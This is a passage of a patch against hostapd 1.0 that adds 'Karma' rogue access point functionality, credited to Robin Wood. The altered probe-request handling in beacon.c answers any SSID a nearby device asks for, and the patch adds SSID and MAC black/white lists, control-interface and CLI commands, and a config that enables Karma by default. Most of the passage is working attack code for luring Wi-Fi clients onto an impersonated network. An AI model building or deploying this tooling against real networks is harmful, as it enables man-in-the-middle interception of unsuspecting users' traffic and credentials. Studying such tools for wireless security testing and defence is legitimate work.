++ return 0;
++
++ f = fopen(fname, "r");
++ if (!f) {
++ wpa_printf(MSG_ERROR, "MAC list file '%s' not found.", fname);
++ return -1;
++ }
++
++ while (fgets(buf, sizeof(buf), f)) {
++ line++;
++
++ if (buf[0] == '#')
++ continue;
++ pos = buf;
++ while (*pos != '\0') {
++ if (*pos == '\n') {
++ *pos = '\0';
++ break;
++ }
++ pos++;
++ }
++ if (buf[0] == '\0')
++ continue;
++
++ wpa_printf(MSG_DEBUG, "Found ssid in file: %s", buf);
++
++ if (strlen (buf) > HOSTAPD_MAX_SSID_LEN) {
++ wpa_printf(MSG_ERROR, "ESSID too long '%s' at "
++ "line %d in '%s'", buf, line, fname);
++ fclose(f);
++ return -1;
++ }
++
++ karma_ssid = os_malloc (sizeof (karma_ssid_t));
++ karma_ssid->length = strlen(buf);
++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++ os_memcpy(karma_ssid->ssid, buf, strlen(buf) + 1);
++ karma_ssid->next = conf->karma_list;
++ conf->karma_list = karma_ssid;
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++ }
++
++ fclose(f);
++
++ return 0;
++}
++
++// END KARMA
++
+ static int hostapd_config_read_maclist(const char *fname,
+ struct mac_acl_entry **acl, int *num)
+ {
+@@ -1216,6 +1273,17 @@
+
+ bss = conf->last_bss = conf->bss;
+
++ // KARMA
++ // default Karma to off
++ conf->enable_karma = 0;
++
++ // default to black list so everything is accepted
++ conf->karma_black_white = 1;
++
++ // Nothing in the black/white list to start with
++ conf->karma_list = NULL;
++ // KARMA END
++
+ while (fgets(buf, sizeof(buf), f)) {
+ bss = conf->last_bss;
+ line++;
+@@ -1279,6 +1347,30 @@
+ bss->logger_syslog = atoi(pos);
+ } else if (os_strcmp(buf, "logger_stdout") == 0) {
+ bss->logger_stdout = atoi(pos);
++ // KARMA START
++ } else if (os_strcmp(buf, "karma_ssid_file") == 0) {
++ if (hostapd_config_read_karma_ssid (pos, conf))
++ {
++ wpa_printf(MSG_ERROR, "Line %d: Failed to "
++ "read karma_ssid_file '%s'",
++ line, pos);
++ errors++;
++ }
++ } else if (os_strcmp(buf, "karma_black_white") == 0) {
++ int val = atoi(pos);
++ conf->karma_black_white = (val != 0);
++ if (conf->karma_black_white == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA: White list mode");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA: Black list mode");
++ }
++ } else if (os_strcmp(buf, "enable_karma") == 0) {
++ int val = atoi(pos);
++ conf->enable_karma = (val != 0);
++ if (conf->enable_karma) {
++ wpa_printf(MSG_DEBUG, "KARMA: Enabled");
++ }
++ // KARMA END
+ } else if (os_strcmp(buf, "dump_file") == 0) {
+ bss->dump_log_name = os_strdup(pos);
+ } else if (os_strcmp(buf, "ssid") == 0) {
+diff -Nur hostapd-1.0/hostapd/ctrl_iface.c hostapd-1.0-karma/hostapd/ctrl_iface.c
+--- hostapd-1.0/hostapd/ctrl_iface.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/ctrl_iface.c 2012-08-06 14:38:25.000000000 +0100
+@@ -39,6 +39,7 @@
+ #include "wps/wps_defs.h"
+ #include "wps/wps.h"
+ #include "ctrl_iface.h"
++#include "ap/beacon.h"
+
+
+ struct wpa_ctrl_dst {
+@@ -267,6 +268,170 @@
+ return 0;
+ }
+
++// KARMA START
++
++static int hostapd_ctrl_iface_karma_get_black_white (struct hostapd_data *hapd)
++{
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE BLACK/WHITE QUERY (%i) x", hapd->iconf->karma_black_white);
++ return hapd->iconf->karma_black_white;
++}
++static int hostapd_ctrl_iface_karma_get_state (struct hostapd_data *hapd)
++{
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE STATUS QUERY");
++ return hapd->iconf->enable_karma;
++}
++static int hostapd_ctrl_iface_karma_del_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DEL SSID %s", ssid);
++
++ karma_ssid_t *karma_ssid;
++ karma_ssid_t *previous_ssid;
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ karma_ssid = hapd->iconf->karma_list;
++ previous_ssid = NULL;
++
++ while (karma_ssid != NULL) {
++// wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ssid %s against %s", karma_ssid->ssid, ssid);
++
++ if (strncmp(karma_ssid->ssid, ssid, karma_ssid->length) == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, deleting and returning early");
++ if (previous_ssid == NULL) {
++ hapd->iconf->karma_list = karma_ssid->next;
++ } else {
++ previous_ssid->next = karma_ssid->next;
++ }
++ os_free (karma_ssid);
++ return 0;
++ }
++ previous_ssid = karma_ssid;
++ karma_ssid = karma_ssid->next;
++ }
++ wpa_printf(MSG_DEBUG, "KARMA SCTRL_IFACE No match found");
++ return 0;
++}
++// Used in the hostapd_ctrl_iface_karma_add_mac function to sort the MAC ACL list
++static int hostapd_acl_comp(const void *a, const void *b)
++{
++ const struct mac_acl_entry *aa = a;
++ const struct mac_acl_entry *bb = b;
++ return os_memcmp(aa->addr, bb->addr, sizeof(macaddr));
++}
++
++static int hostapd_ctrl_iface_karma_add_mac (struct hostapd_data *hapd,
++ const char *mac, int black) {
++
++ u8 addr[ETH_ALEN];
++ struct mac_acl_entry *newacl;
++ struct hostapd_bss_config *bss;
++ char buf[128];
++ struct mac_acl_entry **acl;
++ int *num;
++ // for now we don't care about VLANs so just hardcoding 0
++ int vlan_id = 0;
++
++ if (hwaddr_aton(mac, addr)) {
++ wpa_printf(MSG_ERROR, "Invalid MAC address '%s'", buf);
++ return -1;
++ }
++
++ bss = hapd->iconf->last_bss;
++ if (black) {
++ hostapd_ctrl_iface_deauthenticate(hapd, buf);
++ num = &bss->num_deny_mac;
++ acl = &bss->deny_mac;
++ } else {
++ num = &bss->num_accept_mac;
++ acl = &bss->accept_mac;
++ }
++
++ newacl = os_realloc(*acl, (*num + 1) * sizeof(**acl));
++ if (newacl == NULL) {
++ wpa_printf(MSG_ERROR, "MAC list reallocation failed");
++ return -1;
++ }
++
++ *acl = newacl;
++ os_memcpy((*acl)[*num].addr, addr, ETH_ALEN);
++ (*acl)[*num].vlan_id = vlan_id;
++ (*num)++;
++
++ qsort(*acl, *num, sizeof(**acl), hostapd_acl_comp);
++
++ //num = &bss->num_deny_mac;
++ wpa_printf(MSG_DEBUG, "There are now %i MAC addresses in the list", *num);
++
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_add_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ADD SSID %s", ssid);
++
++ karma_ssid_t *karma_ssid;
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ karma_ssid = os_malloc (sizeof (karma_ssid_t));
++ karma_ssid->length = strlen(ssid);
++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++ os_memcpy(karma_ssid->ssid, ssid, strlen(ssid) + 1);
++ karma_ssid->next = hapd->iconf->karma_list;
++ hapd->iconf->karma_list = karma_ssid;
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_change_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE CHANGE SSID %s", ssid);
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ hapd->conf->ssid.ssid_len = strlen(ssid);
++ // Not sure if the +1 is needed here or not
++ os_memcpy(hapd->conf->ssid.ssid, ssid, strlen(ssid) + 1);
++ ieee802_11_set_beacon(hapd);
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA Default SSID Changed");
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_black_white (struct hostapd_data *hapd,
++ int status)
++{
++ // 0 = white
++ if (status == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE White List");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Black List");
++ }
++ hapd->iconf->karma_black_white = status;
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE list passed in %i value %i", status, hapd->iconf->karma_black_white );
++
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_enable_disable (struct hostapd_data *hapd,
++ int status)
++{
++ if (status) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ENABLED");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DISABLED");
++ }
++ hapd->iconf->enable_karma = status;
++
++ return 0;
++}
++
++// KARMA END
+
+ static int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd,
+ const char *txtaddr)
+@@ -942,6 +1107,80 @@
+ } else if (os_strncmp(buf, "GET ", 4) == 0) {
+ reply_len = hostapd_ctrl_iface_get(hapd, buf + 4, reply,
+ reply_size);
++// KARMA
++ } else if (os_strcmp(buf, "KARMA_BLACK_WHITE") == 0) {
++ if (hostapd_ctrl_iface_karma_get_black_white(hapd)) {
++ os_memcpy(reply, "BLACK\n", 6);
++ reply_len = 6;
++ } else {
++ os_memcpy(reply, "WHITE\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strcmp(buf, "KARMA_STATE") == 0) {
++ if (hostapd_ctrl_iface_karma_get_state(hapd)) {
++ os_memcpy(reply, "ENABLED\n", 8);
++ reply_len = 8;
++ } else {
++ os_memcpy(reply, "DISABLED\n", 9);
++ reply_len = 9;
++ }
++ } else if (os_strncmp(buf, "KARMA_DEL_SSID ", 15) == 0) {
++ if (hostapd_ctrl_iface_karma_del_ssid (hapd, buf + 15)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "DELETED\n", 8);
++ reply_len = 8;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_SSID ", 15) == 0) {
++ if (hostapd_ctrl_iface_karma_add_ssid (hapd, buf + 15)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_WHITE_MAC ", 20) == 0) {
++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 0)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_BLACK_MAC ", 20) == 0) {
++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 1)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strcmp(buf, "KARMA_GET_SSID") == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE GET SSID");
++ size_t len;
++
++ // +2 for the new line and the null byte terminator
++ len = hapd->conf->ssid.ssid_len + 2;
++ os_snprintf(reply, len, "%s\n", hapd->conf->ssid.ssid);
++ reply_len = len;
++
++ } else if (os_strncmp(buf, "KARMA_CHANGE_SSID ", 18) == 0) {
++ if (hostapd_ctrl_iface_karma_change_ssid (hapd, buf + 18)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "CHANGED\n", 8);
++ reply_len = 8;
++ }
++ } else if (os_strcmp(buf, "KARMA_WHITE") == 0) {
++ if (hostapd_ctrl_iface_karma_black_white(hapd, 0))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_BLACK") == 0) {
++ if (hostapd_ctrl_iface_karma_black_white(hapd, 1))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_DISABLE") == 0) {
++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 0))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_ENABLE") == 0) {
++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 1))
++ reply_len = -1;
++// END KARMA
+ } else {
+ os_memcpy(reply, "UNKNOWN COMMAND\n", 16);
+ reply_len = 16;
+diff -Nur hostapd-1.0/hostapd/hostapd_cli.c hostapd-1.0-karma/hostapd/hostapd_cli.c
+--- hostapd-1.0/hostapd/hostapd_cli.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd_cli.c 2012-08-06 14:34:58.000000000 +0100
+@@ -21,6 +21,9 @@
+ #include "utils/edit.h"
+ #include "common/version.h"
+
++// Added this here as it is in an include file that isn't normally included
++// by the cli
++#define HOSTAPD_MAX_SSID_LEN 32
+
+ static const char *hostapd_cli_version =
+ "hostapd_cli v" VERSION_STR "\n"
+@@ -81,31 +84,44 @@
+
+ static const char *commands_help =
+ "Commands:\n"
+-" mib get MIB variables (dot1x, dot11, radius)\n"
+-" sta <addr> get MIB variables for one station\n"
+-" all_sta get MIB variables for all stations\n"
+-" new_sta <addr> add a new station\n"
++" mib get MIB variables (dot1x, dot11, radius)\n"
++" sta <addr> get MIB variables for one station\n"
++" all_sta get MIB variables for all stations\n"
++" new_sta <addr> add a new station\n"
+ " deauthenticate <addr> deauthenticate a station\n"
+-" disassociate <addr> disassociate a station\n"
++" disassociate <addr> disassociate a station\n"
+ #ifdef CONFIG_IEEE80211W
+-" sa_query <addr> send SA Query to a station\n"
++" sa_query <addr> send SA Query to a station\n"
+ #endif /* CONFIG_IEEE80211W */
+ #ifdef CONFIG_WPS
+ " wps_pin <uuid> <pin> [timeout] [addr] add WPS Enrollee PIN\n"
+-" wps_check_pin <PIN> verify PIN checksum\n"
+-" wps_pbc indicate button pushed to initiate PBC\n"
++" wps_check_pin <PIN> verify PIN checksum\n"
++" wps_pbc indicate button pushed to initiate PBC\n"
+ #ifdef CONFIG_WPS_OOB
+ " wps_oob <type> <path> <method> use WPS with out-of-band (UFD)\n"
+ #endif /* CONFIG_WPS_OOB */
+ " wps_ap_pin <cmd> [params..] enable/disable AP PIN\n"
+ " wps_config <SSID> <auth> <encr> <key> configure AP\n"
+ #endif /* CONFIG_WPS */
+-" get_config show current configuration\n"
+-" help show this usage help\n"
+-" interface [ifname] show interfaces/select interface\n"
+-" level <debug level> change debug level\n"
+-" license show full hostapd_cli license\n"
+-" quit exit hostapd_cli\n";
++" get_config show current configuration\n"
++" help show this usage help\n"
++" interface [ifname] show interfaces/select interface\n"
++" level <debug level> change debug level\n"
++" license show full hostapd_cli license\n"
++" ping send a ping, get a pong\n"
++" karma_change_ssid change the default SSID for when Karma is off\n"
++" karma_get_ssid get the default SSID for when Karma is off\n"
++" karma_enable enable Karma\n"
++" karma_disable disable Karma\n"
++" karma_black blacklist Karma\n"
++" karma_white whitelist Karma\n"
++" karma_get_black_white get the black/whitelist state of Karma\n"
++" karma_add_ssid add an SSID to the black/white list\n"
++" karma_del_ssid delete an SSID from the black/white list\n"
++" karma_get_state get the state of Karma\n"
++" karma_add_black_mac add a MAC to the black list\n"
++" karma_add_white_mac add a MAC to the white list\n"
++" quit exit hostapd_cli\n";
+
+ static struct wpa_ctrl *ctrl_conn;
+ static int hostapd_cli_quit = 0;
+@@ -343,6 +359,129 @@
+ return wpa_ctrl_command(ctrl, buf);
+ }
+
++// KARMA
++
++static int hostapd_cli_cmd_karma_del_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'delete Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_DEL_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_change_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of SSID is 32 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'change Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_CHANGE_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++static int hostapd_cli_cmd_karma_get_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_GET_SSID");
++}
++static int hostapd_cli_cmd_karma_add_white_mac(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of MAC is 17 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'add white MAC' command - exactly one "
++ "argument, MAC, is required.\n");
++ return -1;
++ }
++ // Can't find a define for the length of a MAC address as a string
++ // ETH_ALEN is the number of individual bytes
++ if (strlen(argv[0]) != 17) {
++ printf("The MAC should be in the format 00:11:22:33:44:55\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_WHITE_MAC %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_black_mac(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of MAC is 17 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'add black MAC' command - exactly one "
++ "argument, MAC, is required.\n");
++ return -1;
++ }
++ // Can't find a define for the length of a MAC address as a string
++ // ETH_ALEN is the number of individual bytes
++ if (strlen(argv[0]) != 17) {
++ printf("The MAC should be in the format 00:11:22:33:44:55\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_BLACK_MAC %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of SSID is 32 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'added Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++// These should be one function with a parameter
++
++static int hostapd_cli_cmd_karma_disable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_DISABLE");
++}
++static int hostapd_cli_cmd_karma_black(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_BLACK");
++}
++static int hostapd_cli_cmd_karma_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_WHITE");
++}
++static int hostapd_cli_cmd_karma_get_black_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_BLACK_WHITE");
++}
++static int hostapd_cli_cmd_karma_enable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_ENABLE");
++}
++static int hostapd_cli_cmd_karma_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_STATE");
++}
++// END KARMA
++
+
+ #ifdef CONFIG_IEEE80211W
+ static int hostapd_cli_cmd_sa_query(struct wpa_ctrl *ctrl, int argc,
+@@ -757,6 +896,22 @@
+ { "quit", hostapd_cli_cmd_quit },
+ { "set", hostapd_cli_cmd_set },
+ { "get", hostapd_cli_cmd_get },
++// KARMA
++// Because I always type ? first
++ { "?", hostapd_cli_cmd_help },
++ { "karma_del_ssid", hostapd_cli_cmd_karma_del_ssid},
++ { "karma_add_ssid", hostapd_cli_cmd_karma_add_ssid},
++ { "karma_add_black_mac", hostapd_cli_cmd_karma_add_black_mac},
++ { "karma_add_white_mac", hostapd_cli_cmd_karma_add_white_mac},
++ { "karma_change_ssid", hostapd_cli_cmd_karma_change_ssid},
++ { "karma_get_ssid", hostapd_cli_cmd_karma_get_ssid},
++ { "karma_get_state", hostapd_cli_cmd_karma_get_state},
++ { "karma_disable", hostapd_cli_cmd_karma_disable},
++ { "karma_enable", hostapd_cli_cmd_karma_enable},
++ { "karma_white", hostapd_cli_cmd_karma_white},
++ { "karma_black", hostapd_cli_cmd_karma_black},
++ { "karma_get_black_white", hostapd_cli_cmd_karma_get_black_white},
++// END KARMA
+ { NULL, NULL }
+ };
+
+diff -Nur hostapd-1.0/hostapd/hostapd.conf hostapd-1.0-karma/hostapd/hostapd.conf
+--- hostapd-1.0/hostapd/hostapd.conf 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd.conf 2012-08-06 17:06:46.000000000 +0100
+@@ -1,3 +1,12 @@
++# 0 = disabled
++# 1 = enabled
++enable_karma=1
++
++# 0 = white
++# 1 = black
++karma_black_white=1
++#karma_ssid_file=/etc/hostapd_karma_ssid
++
+ ##### hostapd configuration file ##############################################
+ # Empty lines and lines starting with # are ignored
+
+@@ -47,9 +56,9 @@
+ # 4 = warning
+ #
+ logger_syslog=-1
+-logger_syslog_level=2
++logger_syslog_level=0
+ logger_stdout=-1
+-logger_stdout_level=2
++logger_stdout_level=0
+
+ # Dump file for state information (on SIGUSR1)
+ dump_file=/tmp/hostapd.dump
+@@ -939,13 +948,9 @@
+ # in the AP).
+ #pbc_in_m1=1
+
+-# Static access point PIN for initial configuration and adding Registrars
++# Access point PIN for initial configuration and adding Registrars
+ # If not set, hostapd will not allow external WPS Registrars to control the
+-# access point. The AP PIN can also be set at runtime with hostapd_cli
+-# wps_ap_pin command. Use of temporary (enabled by user action) and random
+-# AP PIN is much more secure than configuring a static AP PIN here. As such,
+-# use of the ap_pin parameter is not recommended if the AP device has means for
+-# displaying a random PIN.
++# access point.
+ #ap_pin=12345670
+
+ # Skip building of automatic WPS credential
+@@ -1117,8 +1122,13 @@
+ # as the defaults for the following BSSes. However, it is recommended that all
+ # BSSes include explicit configuration of all relevant configuration items.
+ #
+-#bss=wlan0_0
++#bss=wlan10
+ #ssid=test2
++#bssid=02:21:91:01:11:31
++#
++#bss=wlan11
++#ssid=test3
++#bssid=02:21:91:01:11:32
+ # most of the above items can be used here (apart from radio interface specific
+ # items, like channel)
+
+diff -Nur hostapd-1.0/hostapd/main.c hostapd-1.0-karma/hostapd/main.c
+--- hostapd-1.0/hostapd/main.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/main.c 2012-08-06 16:53:56.000000000 +0100
+@@ -512,7 +512,8 @@
+ "User space daemon for IEEE 802.11 AP management,\n"
+ "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
+ "Copyright (c) 2002-2012, Jouni Malinen <j@w1.fi> "
+- "and contributors\n");
++ "and contributors\n"
++ "Karma patches by Robin Wood - robin@digininja.org\n");
+ }
+
+
+diff -Nur hostapd-1.0/src/ap/ap_config.h hostapd-1.0-karma/src/ap/ap_config.h
+--- hostapd-1.0/src/ap/ap_config.h 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ap_config.h 2012-08-06 12:20:55.000000000 +0100
+@@ -364,6 +364,19 @@
+ };
+
+
++/*
++* KARMA STUFF
++*
++* A structure to hold the black/white list
++*
++*/
++typedef struct karma_ssid{
++ int length;
++ char *ssid;
++ struct karma_ssid *next;
++} karma_ssid_t;
++// END KARMA
++
+ /**
+ * struct hostapd_config - Per-radio interface configuration
+ */
+@@ -371,6 +384,14 @@
+ struct hostapd_bss_config *bss, *last_bss;
+ size_t num_bss;
+
++ // KARMA
++ int enable_karma;
++ // 0 = white
++ int karma_black_white; /* KARMA black or white list*/
++ karma_ssid_t *karma_list;
++
++ // KARMA END
++
+ u16 beacon_int;
+ int rts_threshold;
+ int fragm_threshold;
+diff -Nur hostapd-1.0/src/ap/beacon.c hostapd-1.0-karma/src/ap/beacon.c
+--- hostapd-1.0/src/ap/beacon.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/beacon.c 2012-08-06 17:01:34.000000000 +0100
+@@ -198,6 +198,11 @@
+ struct sta_info *sta = NULL;
+ size_t buflen;
+ size_t i;
++ // KARMA
++ karma_ssid_t *karma_ssid;
++ int found;
++ int free_ssid = 0;
++ // END KARMA
+
+ ie = mgmt->u.probe_req.variable;
+ if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req))
+@@ -274,34 +279,93 @@
+ }
+ #endif /* CONFIG_P2P */
+
+- if (elems.ssid_len == 0 ||
+- (elems.ssid_len == hapd->conf->ssid.ssid_len &&
+- os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
+- 0)) {
+- ssid = hapd->conf->ssid.ssid;
+- ssid_len = hapd->conf->ssid.ssid_len;
+- if (sta)
+- sta->ssid_probe = &hapd->conf->ssid;
+- }
+
+- if (!ssid) {
+- if (!(mgmt->da[0] & 0x01)) {
++ // KARMA
++ if (hapd->iconf->enable_karma) {
++ wpa_printf(MSG_MSGDUMP, "KARMA CTRL_IFACE Karam is enabled for handling probe request\n");
++ // Max length for SSID is 32 chars
++ if (elems.ssid_len > 0 && elems.ssid_len <= 32) {
++
++ char myssid_txt[33];
++ ieee802_11_print_ssid(myssid_txt, elems.ssid, elems.ssid_len);
++
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Requested ESSID is %s", myssid_txt);
++
++ karma_ssid = hapd->iconf->karma_list;
++
++ found = 0;
++
++ while (karma_ssid != NULL) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ESSID %s against %s", karma_ssid->ssid, myssid_txt);
++
++ if (strlen(myssid_txt) == karma_ssid->length && strncmp(karma_ssid->ssid, myssid_txt, karma_ssid->length) == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, leaving loop");
++ found = 1;
++ break;
++ }
++ karma_ssid = karma_ssid->next;
++ }
++
++
++ if (hapd->iconf->karma_black_white == 0 && found == 0) {
++ // white list
++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID not found in white list mode so not accepting probe");
++ return;
++ }
++ if (hapd->iconf->karma_black_white == 1 && found == 1) {
++ // black list
++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID found in black list mode so not accepting the probe");
++ return;
++ }
++
++ ssid = os_malloc(elems.ssid_len + 1);
++ free_ssid = 1;
++
++ memcpy (ssid, elems.ssid, elems.ssid_len + 1);
++ ssid_len = elems.ssid_len;
++ if (sta)
++ sta->ssid_probe = &hapd->conf->ssid;
++ }
++
++ if (elems.ssid_len != 0) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, elems.ssid,
+- elems.ssid_len);
+- wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+- " for foreign SSID '%s' (DA " MACSTR ")",
+- MAC2STR(mgmt->sa), ssid_txt,
+- MAC2STR(mgmt->da));
++ elems.ssid_len);
++ wpa_printf(MSG_MSGDUMP, "KARMA: Probe Request from " MACSTR
++ " for SSID '%s'",
++ MAC2STR(mgmt->sa), ssid_txt);
++ }
++ } else {
++ wpa_printf(MSG_MSGDUMP, "KARMA is disabled when handling probe request\n");
++ if (elems.ssid_len == 0 ||
++ (elems.ssid_len == hapd->conf->ssid.ssid_len &&
++ os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
++ 0)) {
++ ssid = hapd->conf->ssid.ssid;
++ ssid_len = hapd->conf->ssid.ssid_len;
++ if (sta)
++ sta->ssid_probe = &hapd->conf->ssid;
++ }
++
++ if (!ssid) {
++ if (!(mgmt->da[0] & 0x01)) {
++ char ssid_txt[33];
++ ieee802_11_print_ssid(ssid_txt, elems.ssid,
++ elems.ssid_len);
++ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
++ " for foreign SSID '%s'",
++ MAC2STR(mgmt->sa), ssid_txt);
++ }
++ return;
+ }
+- return;
+ }
++ // KARMA END
+
+ #ifdef CONFIG_INTERWORKING
+ if (elems.interworking && elems.interworking_len >= 1) {
+ u8 ant = elems.interworking[0] & 0x0f;
+ if (ant != INTERWORKING_ANT_WILDCARD &&
+- ant != hapd->conf->access_network_type) {
++ ant != hapd->conf->access_network_type) {
+ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ " for mismatching ANT %u ignored",
+ MAC2STR(mgmt->sa), ant);
+@@ -310,14 +374,14 @@
+ }
+
+ if (elems.interworking &&
+- (elems.interworking_len == 7 || elems.interworking_len == 9)) {
++ (elems.interworking_len == 7 || elems.interworking_len == 9)) {
+ const u8 *hessid;
+ if (elems.interworking_len == 7)
+ hessid = elems.interworking + 1;
+ else
+ hessid = elems.interworking + 1 + 2;
+ if (!is_broadcast_ether_addr(hessid) &&
+- os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
++ os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
+ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ " for mismatching HESSID " MACSTR
+ " ignored",
+@@ -427,6 +491,13 @@
+ wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s "
+ "SSID", MAC2STR(mgmt->sa),
